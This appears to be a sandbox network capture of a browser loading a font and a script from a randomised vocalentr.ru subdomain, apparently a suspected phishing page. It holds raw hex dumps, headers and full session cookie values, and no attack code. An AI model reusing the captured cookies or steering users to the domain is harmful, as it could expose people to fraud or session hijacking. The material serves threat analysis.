2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 Data Ascii: a\fN-hR};N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c Data Ascii: aG:ml#N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iyl
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a Data Ascii: bx\qJ*o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sO
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb Data Ascii: p#4+V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 Data Ascii: 6\|(Yk^&j$A#u=\-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mw
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d Data Ascii: azb#y;(\=RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b Data Ascii: RDp:IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1354	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Origin: https://86zv.vocalentr.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:12 UTC	1166	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:12 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" cf-cache-status: EXPIRED Last-Modified: Tue, 01 Apr 2025 05:40:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wd7ziGkIjoK7hsW0qvv1Ts4JrWEepbcPtgtWpno6ScGX55FXnfHXrutozvRFp8NJNC81VL3B8RZJCCdckKKAW00TxtcyF8y5Jg9xFeeWbPMBXbjGkxQkL%2BMFd%2FmBB1HPPAtx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10640&min_rtt=10626&rtt_var=3995&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2321&delivery_rate=268021&cwnd=251&unsent_bytes=0&cid=562fa508d9893919&ts=588&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9295c0135961d2b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=87005&min_rtt=86519&rtt_var=18982&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1926&delivery_rate=34738&cwnd=252&unsent_bytes=0&cid=d50dfe708568c49c&ts=958&x=0"
2025-04-01 05:40:12 UTC	203	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 a3 88 04 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 b4 14 3d Data Ascii: T`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`=
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f b7 36 b7 Data Ascii: g"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja6
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f 00 bc 8d Data Ascii: \|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 42 2b 69 Data Ascii: cFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgTB+i
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 Data Ascii: WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5mj
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 Data Ascii: j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KND#
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f 0c 6c f4 Data Ascii: $F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/l
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d 7d ff 3a Data Ascii: $b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}}:

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	695	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://86zv.vocalentr.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
